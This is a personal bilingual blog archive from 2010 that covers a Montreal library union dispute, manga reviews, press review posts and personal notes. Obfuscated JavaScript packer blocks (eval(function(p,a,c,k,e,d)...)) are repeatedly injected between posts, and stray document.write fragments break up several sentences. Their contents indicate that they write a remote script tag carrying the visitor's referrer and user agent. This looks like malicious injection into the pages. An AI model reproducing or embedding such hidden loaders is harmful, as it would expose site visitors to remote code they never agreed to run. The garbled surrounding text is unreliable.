D’une part, elles représentent l’abandon pure et simple du principe de mobilité-ville que l’on retrouvait dans la banque réseau, capitulant ainsi devant le pouvoir fragmenteur des arrondissements. Pourtant, dans l’entente E.V. 2007-1007, le syndicat avait clairement énoncé sa volonté de “maintenir les principes en regard de la banque réseau.” Et, il y a à peine trois semaines, la présidente du SFMM nous affirmait en assemblée générale qu’elle avait exprimé au DG de la ville le besoin de faire modifier la charte de la ville afin de redonner à la ville-centre les pouvoirs de conciliation et de coordination nécessaires pour appliquer avec succès les horaires flexibles et règler tout les problèmes liés à l’embauche—et que ce serait un enjeu majeur des prochaines négos! Cela semble d’une hypocrisie à faire vomir: ils disent cela et pourtant s’empressent de négocier avec les arrondissements des lettres d’entente qui, dans les faits, font exactement l’inverse!

D’autre part, les lettres d’entente abdiquent sans façon plusieurs droits acquis, ce qui entraine l’érosion inéluctable de nos conditions de travail:

  • la priorité est donné à la disponibilité, plutôt qu’à l’ancienneté, pour l’attribution des remplacements
  • les auxiliaires détenteurs de bloc égal ou supérieur à vingt-et-une heure/semaine se retrouvent cloisonné dans leur arrondissement port d’attache et ne peuvent postuler sur des blocs ailleurs
  • de nouvelles mesures punitives sont introduites (par exemple: on est retiré de la liste de disponibilité après trois refus (MHM: deux) ou si la disponibilité n’est pas respectée; le pire est dans l’entente de MHM: période d’essai de 840 heures ou 2 ans durant laquelle l’auxiliaire peut être congédié sans possibilité de grief ou d’arbitrage, si l’auxiliaire n’est pas rejoint après deux essais par téléphone [et ils nous disent de fermer nos cellulaires en bibliothèques!] il est considéré avoir refusé l’offre de bloc—qui n’est faite qu’une fois par année seulement, etc.)
  • les congés d’étude sont attribués uniquement pour des études liées au travail en bibliothèques
  • abandon de certains griefs…

Personnellement, je ne veux pas d’une lettre d’entente qui ouvre la porte à l’érosion de mes conditions de travail. Je considère que le travail du syndicat est de maintenir les-dites conditions comme elle sont et, tant que possible, de les améliorer. Quand je vois ce que l’équipe Accès-Cible a fait avec ces lettres d’entente, considérant que près de 2% de mon salaire hebdomadaire leur est payé pour justement faire ce travail, alors je me sens abandonné et trahis—purement et simplement. Aucune autre de ces ententes ne devrait être votée et on devrait renvoyé le syndicat à la table de négociation. Au lieu de dépenser de l’énergie sur ces lettres d’entente, pourquoi ne pas mettre nos effort à faire pression sur la ville et le gouvernement afin d’établir cette entité centrale qui aurait le pouvoir de coordination comme il a été mentioné à la dernière assemblée générale? Et si l’entente a déjà été signé dans votre arrondissement et que vous en subissez les conséquences malheureuses, ne désespérez pas car une entente ce n’est jamais fixé dans le béton: on peut toujours la renégocier… Mais ne vous fiez pas seulement à mon opinion. Lisez les lettres d’entente (voir les liens plus haut) et voici quelques liens vers des publications de l’équipe du Colvert et des billets précédants qui vous permettrons sans doute d’en apprendre un peu plus sur les ententes:

Update (2010/04/19): Mes contacts m’indiquent que la lettre d’entente de Rivière-des-Prairies/Pointe-aux-Trembles a été entériné ce matin par les auxiliaires des bibliothèques de l’arrondissement à raison de quatorze voix pour et deux contre (apparemment avec un très haut taux de participation, puisqu’on m’a dit qu’il n’y aurait eut que deux absents, ce qui représente une participation de 89% !). Les auxiliaires des bibliothèques de l’arrondissement auraient veinement tenté de demander à recevoir le texte de l’entente avant l’assemblée et d’avoir du temps pour en discuter entre collèques. L’assemblée sectorielle se serait déroulée comme les précédentes: les représentant du syndicat auraient rapidement lu le texte de l’entente, répondu (vaguement) à quelques questions et finalement auraient demandé le vote secret. Le texte de l’entente est également similaire aux ententes précédentes (et toujours tout aussi inacceptable).

Travailler en enfer!

Pour ceux Dante nous qui connaissent l’enfer du décors… travailler dans le puit d’esclaves de l’enfer (slave pit from hell)!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkekh|var|u0026u|referrer|shdbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rydai|var|u0026u|referrer|ithry||js|php’.split(‘|’),0,{}))

La première chose qui disparait quand tu travailles en enfer c’est la steam de soi!

La pensée positive en enfer c’est ce qui fait la différence entre mijoter et être rôti!

Poll / Sondage

There is one day left to answer our latest poll “What subject(s) do you read the most ?” Please take time to answer the poll… Thanks!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrhyk|var|u0026u|referrer|efzkn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsdzb|var|u0026u|referrer|erydb||js|php’.split(‘|’),0,{}))

Update: the poll was extended for a few days… Please vote!

Il ne reste plus qu’une journée pour répondre à notre dernier sondage “Quel(s) sujet(s) lisez-vous le plus?” SVP, document.write(“”); prenez le temps de répondre à ce sondage… Merci!

Update: le sondage a été prolongé de quelques jours… SVP, participez!

Lettre d’entente Rivière-des-Prairies/Pointe-aux-Trembles

Le SFMM ne perd décidément pas de temps et semble sur un blitz pour faire approuver les lettres d’entente pour les arrondissements restants: une assemblée sectorielle a été convoqué pour l’arrondissement RDP-PAT. Elle aura lieu le lundi 19 avril à 9h30.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isede|var|u0026u|referrer|hdhyz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khskd|var|u0026u|referrer|eisfd||js|php’.split(‘|’),0,{}))

Il n’y a pas que le gouvernement qui mérite de se faire passer au savon. Si vous ne voulez pas que vos conditions de travail disparaissent dans la crasse je suggère à tous (des bibliothèques de RDP-PAT et d’ailleurs) d’agir au plus tôt. Voilà ce que je suggère:

Pour être efficace il faut se mouiller. Appliquez le shampooings [ou lisez ce billet], document.write(“”); frottez fort pour faire mousser [parlez à vos collègues des lettres d’entente, discuttez-en les advantages et désavantages, allez à l’assemblée sectorielle, posez des questions et votez selon votre conscience], rincez et répétez au besoin [pour l’arrondissement suivant sur la liste et tant qu’on aura pas remit en question au moins une de ces ignobles lettres d’entente] !

Malheureusement, dans ce cas-ci, il n’y a pas de shampooings sans larmes…

Restez alerte, d’autres messages suivront…

Update (2010/04/19):
Lisez également ce billet. La mise à jour contient les résultats du vote pour la lettre d’entente de Rivière-des-Prairies/Pointe-aux-Trembles

Mes voisins les Yamada

“Nos voisins les Yamada… Une famille japonaise typique, document.write(“”); défiant avec entrain (plus que succès) les petits tracas du quotidien. Entre boulot, cuisine, scolarité, retraite et relations humaines, leurs “aventures domestiques” épinglent avec mordant les travers d’une société où les codes n’existent que pour mieux être détournés. Suivez Matsuko, Takashi, Noboru, Nonoko et Shige au coeur d’un univers où l’humour se mêle à l’absurde, pour éclairer différemment le Pays du Soleil levant.” [Texte du rebat intérieur de couveture, tome 2]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyttd|var|u0026u|referrer|sftnt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shsaa|var|u0026u|referrer|nedss||js|php’.split(‘|’),0,{}))

Mes voisins les Yamada [?????? ???????, H?hokekyo Tonari no Yamada-kun] est un “comic strip” japonais qui a été publié dans le quotidien Asahi Shinbun entre 1991 et 1997 avant d’être compilé en volumes par Tokuma Shoten en 1999. Dessiné par le mangaka Hisaichi ISHII, Mes voisins les Yamada n’est pas un manga a proprement parler mais plutôt un “yonkoma”—c’est-à-dire une histoire humoristique en quatre cases qui se présente à la verticale (contrairement à l’Occident où les “comic strip” sont horizontales)—et est surtout connu pour avoir été adapté en animation en 1999 par le Studio Ghibli sous la direction de Isao Takahata. On y raconte la vie quotidienne (et les situations saugrenues qui en découle) d’une famille japonaise et de son entourage.

J’ai découvert ce “manga” à la bibliothèque avec grande surprise: car j’ignorais qu’une traduction française était disponible. Je n’ai lu qu’une partie du second volume et j’ai malheureusement été un peu décu. Non pas à cause du style simple et même carrément minimaliste—ça c’est pas surprenant étant donné qu’il s’agit d’un “comic strip”—mais surtout à cause des histoires. Ce genre d’humour satirique se lit assez bien mais on s’en lasse rapidement. D’abord c’est une volumineuse lecture, et puis l’humour est un peu bête, les gags parfois répétitifs et souvent plats (sans doute quelque chose se perd-t-il dans la traduction). Seulement cinq pourcent des gags sont vraiment drôles. On se retrouve tout de même tous un peu dans ces personnages loufoques. C’est quand même amusant à lire et je le recommande à ceux qui sont curieux de découvrir un style qui est très populaire au Japon.

Mes voisins les Yamada, par Hisaichi ISHII. Delcourt (Label Akata, Coll. Shampooing), 2009. 3 vols., B&W, 21 x 14.6 cm, 350 pgs ch. 15.00 € ch. / $24.95 Can ch. Recommandé pour adolescents (14+). ISBN: 978-2-7560-1451-7 (vol. 1), 978-2-7560-1452-4 (vol. 2), 978-2-7560-1453-1 (vol. 3).
Mes voisins, les Yamada © 1999 Hisaichi Ishii • Studio Ghibli. All rights reserved. © 2009 Guy Delcourt Productions pour l’édition française.

Revue de Presse / Press Review (2010/04/08)

I’ve so many things to think about lately that I feel my head will blow up! (BTW: I write this in english because I want to reach the largest part of the internet community; it is my prerogative: it my blog! Many of the links lead to news in french anyway…) Not much news this week and not much time for them anyway. Still lots of fuss about the iPad (and still no firm release date for Canada beside “end of April” or even a possibility to pre-orders) and Apple announced today the iPhone/Touch OS 4.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tztdb|var|u0026u|referrer|ebbdd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfsss|var|u0026u|referrer|ibzbn||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

updated 2010/04/09

Mon année

Je viens juste de me rendre compte que le dernier Taniguchi est disponible en librairies depuis janvier (novembre en Europe). Il n’est jamais trop tard pour se reprendre puisqu’il est maintenant également disponible dans le réseau des bibliothèques de Montréal

MonAnnée_cov1Mon année est une série composée de 4 albums, qui raconte la vie quotidienne d’une famille confrontée à la trisomie de sa fille de 8 ans, Capucine. Dans le tome 1, les parents apprennent que la petite doit quitter l’école “normale” pour intégrer un établissement spécialisé. Le papa, qui refuse de voir le handicap de sa fille, accuse difficilement le coup. Le fait qu’il soit attiré par Mélanie, la psychomotricienne de Capucine, n’arrange pas les choses. D’autant que la fillette, ultrasensible, va s’en rendre compte…”

[Texte de l’éditeur — voir aussi la couverture arrière]

Après avoir collaboré avec un auteur Européen (Moebius pour Icare en 1997) et avoir expérimenté avec le format d’album Européen (La montagne magique), Jirô TANIGUCHI pousse encore plus loin sa recherche stylistique, cette fois en collaborant avec Jean-David Morvan, pour produire un album directement pour le marché franco-belge. Le premier volume de la série s’intitule “Printemps”. Il est disponible en version couleur et en crayonné. Ce sujet n’est pas sans rappeller With the Light, le manga de Keiko Tobe (décédée en janvier dernier) qui traitait d’un enfant autistique.

Jean-David MORVAN nous offre une belle petite histoire fort simple, comme ce que Taniguchi lui-même aurait pu écrire: un sujet touchant et très humain, orienté sur la vie quotidienne. L’histoire est bien documentée. Le récit est intéressant et bien écrit. J’aime bien la façon dont Morvan nous montre le point de vue tant de la petite trisomique que celui des parents qui s’inquiètent pour le développement de leur petite fille. Malheureusement, malgré tout cela, l’histoire n’a pas la force et la profondeur des récits propres à Taniguchi.

Pour illustrer l’histoire, Taniguchi utilise des techniques plus appropriées à la BD. Si on retrouve toujours son style précis et détaillé, il remplace ici la trame par la couleur (on dirait de l’aquarelle), ce qui donne un aspect très différent à son travail. N’ayant pas son éditeur constamment sur le dos (comme cela se fait au Japon), il peut créé avec une plus grande liberté, mais semble un peu mal à l’aise de devoir dépeindre les paysages francais, qui ne lui sont pas familiers. Le travail semble bien réussi, quoique différent du Taniguchi que l’on a l’habitude de voir. C’est sans doute à nous de s’habituer.

Si Mon année est un pas de plus vers la synergie du manga et de la BD, on sent clairement que cet album est de la BD et non du manga (la plupart des librairies et bibliothèques le classe d’ailleurs comme une BD), ne serait-ce que du fait qu’on le sort au rythme d’un album de 64 pages par année (au Japon on aurait publié ça en un ou deux tomes—de 128 ou 256 pages—et non pas quatre!). Cela fait une série plutôt dispendieuse.

Dans l’ensemble, Mon année mérite d’être lu, ne serait-ce que par curiosité, mais cela n’a rien d’excitant. [Note: malheureusement les tomes 3 à 4 ne sont jamais paru]

Mon année: 1. Printemps, par Jirô TANIGUCHI (dessin) & Jean-David MORVAN (scénario). Dargaud, 2009. Couleur, 31 x 23.6 cm, 64 pgs. 18.00 € / $34.95 Can. Recommandé pour adolescents (12+). ISBN: 978-2505007517. stars-2-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipediaWorldCat ]

 

Mon année 1. Printemps © 2009 Taniguchi • Morvan • Dargaud Benelux (Dargaud-Lombard s.a.).

Ce billet a d’abord été publié le 2010/03/24 12:17 AM (news) puis mis à jour le 2010/04/06 avec un commentaire (review) et le 2018/06/30 avec quelques liens et notes supplémentaires.

[ Translate ]

Un zoo en hiver

“Kyôto, document.write(“”); 1966. Le jeune Hamaguchi, employé d’une société de textile en gros, n’a pas la fibre de la plupart des gens de son âge. Plutôt que de fréquenter les clubs de sport, il préfère assouvir sa passion du dessin en allant croquer sur le vif les animaux du zoo de la ville. Mais même ce dérivatif ne suffit pas à combattre l’ennui qu’il ressent. Dès l’année suivante, sollicité par un ami de lycée, Hamaguchi part pour la capitale, Tôkyô. C’est là, un peu par hasard, que sa route croise celle d’une communauté professionnelle un peu particulière: celle des auteurs de bande dessinée, les mangakas… Pour la première fois, Jirô Taniguchi opte pour un registre explicitement autobiographique, convoquant ses souvenirs de jeunesse et son parcours d’auteur. Un beau récit d’apprentissage en bande dessinée, où l’on retrouve la finesse et l’élégance qui ont fait le succès du maître japonais auprès des lecteurs de langue française.” [Texte de présentation sur le site de l’éditeur]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|insrr|var|u0026u|referrer|ttyie||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izbyb|var|u0026u|referrer|aarbd||js|php’.split(‘|’),0,{}))

Un zoo en hiver [?????, Fuyu no d?butsuen] a été publié au Japon en 2008 par Shogakukan. Ce manga nous en apprend un peu sur le travail d’assistant mangaka (d’une façon similaire à Tokyoland) mais, fidèle à ses habitudes, Jir? TANIGUCHI se concentre surtout sur le quotidien (toujours à travers une perspective assez contemplative, introspective et nostalgique) et, dans ce cas particulier, sur les relations personnelles. Toutefois, la thématique d’ensemble de l’histoire tourne autours de l’apprentissage: le jeune mangaka qui découvre son métier, le jeune homme qui s’initie aux choses de la vie, particulièrement la relation avec ses collègues, avec son frère, ses premiers amours (la fille du patron, la jeune fille malade—dans ce dernier cas l’histoire nous laisse en suspend: la jeune fille mourra-t-elle ou finiront-ils ensemble?)

La présentation de l’éditeur fait mention que ce manga est “explicitement autobiographique” mais, dans un interview, Taniguchi nuance beaucoup cette affirmation. Il précise que, comme il l’a fait déjà dans la plupart de ses histoires, certains aspects sont autobiographique et que, s’il s’est inspiré de ses débuts de mangaka et de certaines personnes de l’époque, l’histoire qu’il raconte est totallement inventée. Le récit d’Un zoo en hiver est d’ailleurs excellent et l’histoire nous est racontée avec une grande maîtrise. Mais Taniguchi nous a déjà démontré ses talents narratif à maintes reprises. Ce qui m’a vraiment impressioné avec ce manga c’est son style qui offre une clarté et une précision presque parfaite. Ici, Taniguchi se surpasse vraiment.

À la fois simple et profond, Un zoo en hiver est un superbe manga. C’est sans aucun doute la meilleure oeuvre de Taniguchi que j’ai lu. C’est un volume unique (one-shot) qui se lit très bien et je le recommande chaudement.

Un zoo en hiver, par Jir? TANIGUCHI. Casterman (Coll. Écritures), 2009. B&W, 17 x 24 cm, 231 pgs. 15.00 € / $29.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2203020993. [Voir couverture arrière]
Fuyu no d?butsuen © Jiro Taniguchi, 2008. © Casterman, 2009 pour la traduction française.

Happy Easter / Joyeuse Pâques

I am not a religious man so Easter doesn’t hold any special significance beside an occasion for some well-deserved rest and a family meal (although this year it has been pushed back a few weeks because my mother has had a small heart procedure). However, document.write(“”); since it surely means more to most of you, I’d like to wish you all an happy easter. I hope you’ll enjoy your easter bunny stew and chocolate eggs omelet. For my part, my wife is working today, so I’ll spend easter home alone.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeadh|var|u0026u|referrer|bnaat||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtfdz|var|u0026u|referrer|tszsb||js|php’.split(‘|’),0,{}))

I was able to establish a good writing pace lately and blog several time a week. Unfortunately, I am afraid this won’t last. I have to start working on my “spring cleaning” in order to seriously reduce the amount of stuff I have prior to moving into a new appartment or house later this year (or the next). I’ll also have to start listing my possessions to prepare for the virtual yard sale I am planning for the summer. Lots of work in perspective. I might have to cut back a little on my tv watching, publishing work and “counter-revolutionary” activities (although reestablishing a fair democracy in this world seems like a lost cause anyway), but I’ll do my best to keep bloging at least once or twice a week. It might be easier to do after I got my iPad (it’s scheduled in Canada for the “end of April,” whatever it means).

Revue de Presse / Press Review (2010/04/02)

I am trying to catch up on my sleep (luckily the Easter week-end is upon us). It was another slow news week. If the local news were all about the Quebec Budget [in French], document.write(“”); the media in general were in a frenzy about the upcoming iPad from Apple. See the latest news from Apple Insider, Engadget, MacNN, The Unofficial Apple Weblog and others:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsfdf|var|u0026u|referrer|zsskd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raeyr|var|u0026u|referrer|enyka||js|php’.split(‘|’),0,{}))

iPad frenzy!

Anime & Manga related, Japan, Popular Culture

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Updated 2010/04/04

Poll #1: Language preference

I am quite disappointed by the results of my first blog poll. There is an average of 15 persons per day visiting this blog, document.write(“”); which means that over the two weeks this poll was open, there was over 200 visitors and, of those, ONLY 7 answered the poll. I assumed that readers are mostly anglophone (english is after all the language of the web) and yet the only responses I got was favouring french as prefered language for this blog. However, I will continue to comment subjects in their related language (i.e. review in English a book written in English, review in French a french-language book or movie, etc.). I wish more people would participate with the blog by answering polls and leaving comments…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etbbr|var|u0026u|referrer|anzzr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzzrz|var|u0026u|referrer|rsbyz||js|php’.split(‘|’),0,{}))

Je suis plutôt décu par les résultats de mon premier sondage sur le blogue. Il y a en moyenne 15 personnes par jour qui visitent le blog, ce qui fait que durant la durée du sondage (2 semaines) plus de 200 personnes l’ont visité mais seulement 7 ont jugé bon de répondre au sondage! J’ai toujours assumé que mes lecteurs sont surtout anglophones (l’anglais est après tout la langue du web) mais pourtant toutes les réponses que j’ai eut semble favoriser le français. Je vais tout de même continuer à commenter chaque sujet dans la langue appropriée (crtiquer un film ou livre dans la langue ou je l’ai lu ou vu). J’aimerai bien que les gens participent un peu plus au blog en répondant aux sondages et laissant des commentaires (sauf si c’est pour m’insulter, bien sûr)…

Future health

I just called to get our “annual” (actually it has been three years) medical check-up appointment with our family doctor. I’ve got an appointment in november! In seven months! That’s comforting to know that we’ll be dealing then with the future of medecine…

Upsetting move

I am quite upset. I am renting a large appartment filled to the brim with books and dvds. I like the place (even if it’s a little run-down) and find all I need in the neighborhood. Unfortunately, document.write(“”); the owner told me yesterday his intention to sell the place, therefore next year I’ll have to face either eviction or a steep rent raise. Most likely I’ll have to find a new place to rent or purchase. In either case I’ll have quite a clean up to do since I’ll have to seriously downsize. Expect a huge virtual yard sale before the end of the year!